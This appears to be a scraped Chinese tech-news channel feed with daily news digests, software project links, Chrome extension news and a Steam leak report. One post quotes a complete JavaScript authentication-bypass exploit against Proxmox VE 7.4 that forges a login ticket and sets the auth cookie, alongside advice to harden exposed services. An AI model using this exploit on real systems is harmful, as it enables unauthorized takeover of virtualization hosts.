- 👍1
- 🥰1
OKHK 👀
- Fastpotify - 基于 Rust 的第三方原生轻量 Spotify 客户端，支持本地播放、曲库访问以及 Spotify Connect 远程控制。
https://fastpotify.rocks/
https://github.com/crmne/fastpotify
#Music #GitHubFastpotify
A fast, native Spotify client for Linux, macOS, and Windows, written in Rust. 
- 一觉醒来发生了什么 09 月 02 日
#Daily
2026 年 9 月 2 日
🌍 资讯快读
1、我国光伏发电装机历史性超过煤电，成为装机规模最大的电源品类
https://www.jiemian.com/article/15038519.html
2、智神星一号遥一运载火箭首发成功
https://www.jiemian.com/article/15038615.html
3、《微短剧发展管理办法》今起正式施行
https://www.jiemian.com/article/15039419.html
4、普京称俄愿意将中俄间的免签制度转为永久性安排，外交部回应
https://www.jiemian.com/article/15039976.html
5、吉隆泥石流灾害哀悼活动在西藏吉隆举行
https://www.jiemian.com/article/15038423.html
👬 即刻镇小报
1、欢迎 🔍「00 后的宇宙必听」，我们一起慢慢长大。
https://m.okjike.com/originalPosts/6a9519c24eb70d9f7c110a86
2、有种人生策略叫杠铃策略，就是干不喜欢的工作，获得收入保障，支撑自己业余做喜欢的事。
https://m.okjike.com/originalPosts/6a945d53756bbb665808e9c7
3、分享一个我们 team 实践中用的一个简洁指标 ——「隐喻率」
https://m.okjike.com/originalPosts/6a96bae6141b85b2920fa9b4
4、今天拍到日落了吗
https://m.okjike.com/originalPosts/6a92d4cacfb5d08b3e6f1263
今日即刻镇小报内容来自 @小宇宙 App @鲁彼特 @胡迪 Hoodie @精神小伙郑斑斑 ，感谢以上即友的创作与分享。界面新闻我国光伏发电装机历史性超过煤电，成为装机规模最大的电源品类据国家能源局，截至今年7月底，我国光伏发电装机容量达到12.86亿千瓦，其中集中式光伏7.04亿千瓦、分布式光伏5.82亿千瓦。光伏发电的装机容量首次超过煤电，成为我国装机规模最大的电源品类。（煤电装机容量12.85亿千瓦） - Google 从其扩展商店移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展
#Chrome
Google 从其扩展商店 Chrome Web Store 移除了包括 uBlock Origin 在内的所有 Manifest V2 扩展。Chrome 用户已安装的 Manifest V2 扩展目前还能使用，但不会再收到任何更新，卸载之后将无法再重新安装。Chrome Web Store 将只提供 Manifest v3 扩展，Manifest v3 相比 Manifest v2 的一大区别是移除了 blockingWebRequest 和 declarativeNetRequest，限制了广告屏蔽扩展的功能，uBlock Origin 是基于 Manifest V2，它没有 Manifest V3 版本，但有一个基于 V3 的精简版本。用户如果想要继续使用 uBlock Origin 只能改用 Firefox 以及另一个 Chromium 的浏览器 Brave。
https://webiterate.dev/google-removed-extensions-ublock-origin-108/ - Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”
无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！
Exp (.js) 正文:// PVE 7.4 auth-bypass @NebuSec 2026 // First, make sure to try logging in as root with this exact password: root@pam (async () => { const form = new URLSearchParams({ username: "root@pam", password: "root@pam", "tfa-challenge": "NEBUSEC-CHALLENGE", }); const loginResponse = await fetch("/api2/json/access/ticket", { method: "POST", credentials: "omit", headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, body: form, }); const loginBody = await loginResponse.json(); document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`; location.reload() })();
观后感：不是，你就这么水灵灵的拿到 login cookie 了？
https://fixupx.com/nebusecurity/status/2094719919539793989🧵 Thread • FixupXNebuSec (@nebusecurity)Proxmox VE 7.x authentication bypass (pre-auth RCE) - 图吧工具箱 TubaWinUi3 - 图吧工具箱的重构版, 基于 WinUI 3 / .NET 10 全新打造
https://github.com/luolangaga/tubatools
https://apps.microsoft.com/detail/9P15095X7MGB
#Windows #Tool #GitHubGitHub
GitHub - luolangaga/tubatools: 图吧工具箱 winUI3 版图吧工具箱 winUI3 版. Contribute to luolangaga/tubatools development by creating an account on GitHub. 每天自主去公司，自主学习，自主规划，自主调用各种工具，还能根据老板反馈持续迭代，最终完成公司交给的任务。
谁是 Agent，我不说。
sourceFxTwitterDinah (@dinah_zhang)每天自主去公司，自主学习，自主规划，自主调用各种工具，还能根据老板反馈持续迭代，最终完成公司交给的任务。
谁是 Agent，我不说。
引用 Bear Liu (@bearliu)
我发现生活里有些操作，其实和 Agent 操作很像。
周末开车门刮到了旁边一辆车，蹭掉了一点漆，车主留了张 note。然后我们各自向保险公司报案，填填单、打打电话。
之后我们两个人只需要互发消息，确认已经处理、同步一下申诉号和保险单号，剩下的事全交给两家保险公司去对接。我就是接了个电话讲讲情况，后面就不用管了。
…- https://blog.sheerluck.dev/posts/your-first-gpui-app-building-a-desktop-ui-in-rust/Mrsheerluck BlogYour First GPUI App - Building a Desktop UI in Rust | Mrsheerluck BlogLearn GPUI from scratch by building a Linear-inspired desktop UI in Rust. We'll cover GPUI's rendering model, elements, styling, layout, and component composition while coding the application step by step.
- 一觉醒来发生了什么 09 月 01 日
#Daily
2026 年 9 月 1 日
🌍 资讯快读
1、教育部等七部门启动实施特殊教育发展提升“十五五”行动计划
https://www.jiemian.com/article/15032702.html
2、四所高校的雄安校区将于明年 9 月正式开门办学
https://www.jiemian.com/article/15035285.html
3、韩国“统一教”头目因政教勾结获刑 2 年
https://www.jiemian.com/article/15034283.html
4、特朗普发 AI 视频称轰炸伊朗哈尔克岛
https://www.jiemian.com/article/15032300.html
👬 即刻镇小报
1、将朋友圈艺术感拉满！旅游风景也很出片！
https://m.okjike.com/originalPosts/6a846471cfb5d08b3ee1b01b
2、一个评估心力强弱的方法
https://m.okjike.com/originalPosts/6a92c355756bbb6658dd93c5
3、好的文章如同窗户玻璃。
https://m.okjike.com/originalPosts/6a92f818cfb5d08b3e72f0f4
4、强烈建议大家搭建一个自己的个人网站。
https://m.okjike.com/originalPosts/6a93de42bd0563695b38334f
今日即刻镇小报内容来自 @VaeenAiDesign @puuoo @玉伯 @小盖 fun ，感谢以上即友的创作与分享。界面新闻教育部等七部门启动实施特殊教育发展提升“十五五”行动计划近日，经国务院同意，教育部、国家发展改革委、民政部、财政部、人力资源社会保障部、国家卫生健康委、中国残联等七部门联合印发《特殊教育发展提升“十五五”行动计划》（以下简称《行动计划》），对“十五五”时期推进特殊教育优质融合发展作出部署，进一步完善高质量特殊教育体系。 - ❤️1
- Steam 平台 2003-2013 年的几乎所有游戏泄露
上周末 Steam 平台逾 12TB 数据泄露，涵盖了该平台 2003-2013 年之间几乎所有的游戏。这些数据是通过一个公开访问的 API 获取的，但不清楚是近期访问还是早就下载但直到上周才公开。相关数据来自被称为 Steam2 的内容分发系统，2013 年 Steam2 被 SteamPipe 系统所取代，因此数据仅限于 2013 年前。泄露的数据包括了Valve 和第三方发行商发布的热门游戏的早期版本、原型版本和试玩版本，其中包括《传送门2》的被删减内容，被取消的《半条命2：第三章》的部分文件。
来源：Solidot
MirrorProxy - 自建镜像代理
https://github.com/inbjo/MirrorProxy
#DevOps #Tool #GitHubGitHub
GitHub - inbjo/MirrorProxy: All-in-one mirror acceleration,The project uses an adapter-based proxy core and already ships adapters…All-in-one mirror acceleration,The project uses an adapter-based proxy core and already ships adapters for GitHub, Docker/OCI, Composer, npm, PyPI, Cargo, Go modules, major language repositories, d...
